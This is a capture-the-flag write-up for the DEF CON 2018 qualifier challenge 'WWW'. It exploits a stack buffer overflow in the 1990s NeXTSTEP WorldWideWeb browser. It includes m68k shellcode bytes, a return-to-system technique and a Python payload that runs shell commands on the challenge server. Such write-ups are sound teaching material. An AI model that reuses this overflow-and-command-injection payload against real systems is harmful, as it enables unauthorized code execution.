1554 views
# WWW - 🍜 Signature Dishes - OoOverflow quals For this challenge, you were required to connect to their server, solve a "proof of work", and understand the data being sent back. Thankfully they provided a POW solver, so that part was only to rate limit your attempts. This is what the connection looked like: ```shell ~/dc18$ ncat ddee3e1a.quals2018.oooverflow.io 31337 (Pssst, http://oooverflow.io/pow.py) Challenge: HZXQVScPk7 n: 26 Solution: [our input:]19503751 Thank you for solving the pow. You will now enter the queue to connect to the www service. Please be patient, as gettng back in the queue will require you to redo the pow. Welcome to the pre-alpha web aka 76fc400c68a0e2a33a164a86a1d37be3 What URL would you like this old dog to fetch? [our input:]http://40.x.x.x Booting up [... lots of base64 ...] ``` Decoding the base64 sent back, they were PNG files! You get some beautiful pictures like the following sequence: ![NeXTSTEP boot screen](https://i.imgur.com/KkcKVly.png) ![NeXTSTEP login screen](https://i.imgur.com/IUYwwQk.png) ![NeXTSTEP desktop screen](https://i.imgur.com/egajnWs.png) Eventually, the bot will paste your input into the address box of this very very old browser and it'll successfully visit your URL provided previously! ![NeXTSTEP paste screen](https://i.imgur.com/6cH7OXv.png) ## recon Right away, a team member noticed that providing `http://A*1024` as a url causes their browser application to crash, exiting immediately and not visiting any URL. So after doing some recon the team was able to [find an emulator for NeXTSTEP](https://github.com/oldweb-today/netcapsule/tree/master/browsers/www) configured by the owner of `oldweb.today`! This tree also has `tars.iso.dmg`, which is an archive containing many versions of the browser. A team member ran md5sum over the extracted archive, and saw that the md5 of one of the `WorldWideWeb.app` binaries **matched the md5sum sent to us in the server's welcome message**: 76fc400c68a0e2a33a164a86a1d37be3, which is WorldWideWeb v0.15. Pre-alpha indeed. Well, at least we have source code for it. Let's do some code auditing: ```clike // Snippet from FileAccess.m // For unrecognised types, open in the Workspace: format = HTFileFormat(filename); if (format == WWW_INVALID) { char command[255]; /* Open in the workspace */ sprintf(command, "open %s", filename); system(command); } else { /* Known format */ ``` Wow! That's totally vulnerable to command injection, right? Well, it turns out that code is only reachable through the `file://` handler, and our input is required to start with `http://` :frowning: ## archaeology We needed a debugger. There is no compiler. There is no gdb. There is nothing. The browser isn't a viable option to go download one. So, google hard enough and the nice fellows over at [Netinch have a pre-compiled version of gdb!](http://ftp.netinch.com/pub/next/apps/devtools/gdb.4.7.NIH.b.tar.gz) We can write this to an ISO, which NextSTEP will auto-mount at the root directory. [Figuring out how to extract the .tar.gz involved watching a shakey-cam demo of installing NeXTSTEP apps.](https://www.youtube.com/watch?v=vXARg3SZP7E) ``` gunzip /tars/gdb.tar.gz > gzip.tar then, browse to that location and double click it to launch some tar extractor ``` I think TBL would be glad that the world wide web turned out to be this useful. ## hacking No ASLR, stack seems to change by ~0x200 between a few of our VMs, and the instruction set is **motorola 68040**. Let's look at the simple crash we get when we enter `http://` followed by many `A`s: ![GDB, displaying registers and stack at the crash location](https://i.imgur.com/7dBLacN.png) So, in that screenshot, we actually entered `"http://" + "A"*0x104 + "BCDE"`, which you can see at the top of the stack. This was occuring at address `0xe200` -- which matches the address of a `rts` instruction in IDA, if you load up WorldWideWeb.app. ![IDA](https://i.imgur.com/ra3RaAc.png) We planned to return to the stack, but we didn't want to write m68k shellcode. We tried to return to the stack, and branch to the location of the call of `system()` -- but we found that call was located at `0x00003e64`! That means there are two null bytes in the address. Null bytes would ruin our string-based overwrite. So, instead, we could ret to the stack (an address around `0x03fff710`) and use shellcode to set up the address we really want to go to (`0x00003e64`). ``` "\xd2\xfc\x3e\x64" # adda.w #0x3e64, a1 "\x4e\x91" # bsr a1 ``` However, that didn't work, and nobody wasted the time to figure out why. Instead, returning **directly** to system appeared possible. ![IDA for the indirect system calll](https://i.imgur.com/ZxeHaBa.png) This code branches to `0x05003128` (yes that's a null), however, inspecting that address in GDB: ![Look! It's like a .got.plt thunk!](https://i.imgur.com/rl4lY1J.png) That's right, it's just a branch to the actual address of the system function -- which **contains no nulls**. So after we overwrite the return address, we just need to encode the address of the string we want to pass to `system()` since it's passed via the stack. ## now we waste like 6 hours The stack slightly differs between our individual VMs. So we knew it differed on the remote server. The easy fix to this is to insert the equivalent of a "nop sled" for your argument to system. For example, try running this in your bash prompt: ``` ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ls; ``` That gives you a lot of space to miss the pointer to your `ls`! However, `;` doesn't work as a sled for `/bin/sh`, the default shell here. We also tried spaces. And some other shit. In the end, **grave accent** gave us a working sled. The essence of a working payload looked like: ``` from pwn import * # set pwntools to big-endian for m68k def p32(v): return struct.pack(">i",v) prewin = ";wall flag;" # if this doesn't work win = "/usr/bin/open /me/flag;" # maybe this will # this needs to be "A" because ` before PC overwrite breaks it? beforepc = "A"*(260-len(prewin)) + prewin#260#(259-len(win))+win system=0x050307f8 stack_loc = 0x3fffa10 payload = ('http://'+ beforepc + p32(system) + p32(system) + p32(stack_loc)+ ";"+ "`"*(0x200-1) + win) print(repr(payload)) ``` [full code](https://gist.github.com/dwendt/3d6cfc8d6f571d0c3ec9f117e817dff2) ![wall worked](https://i.imgur.com/tNc3XDa.png)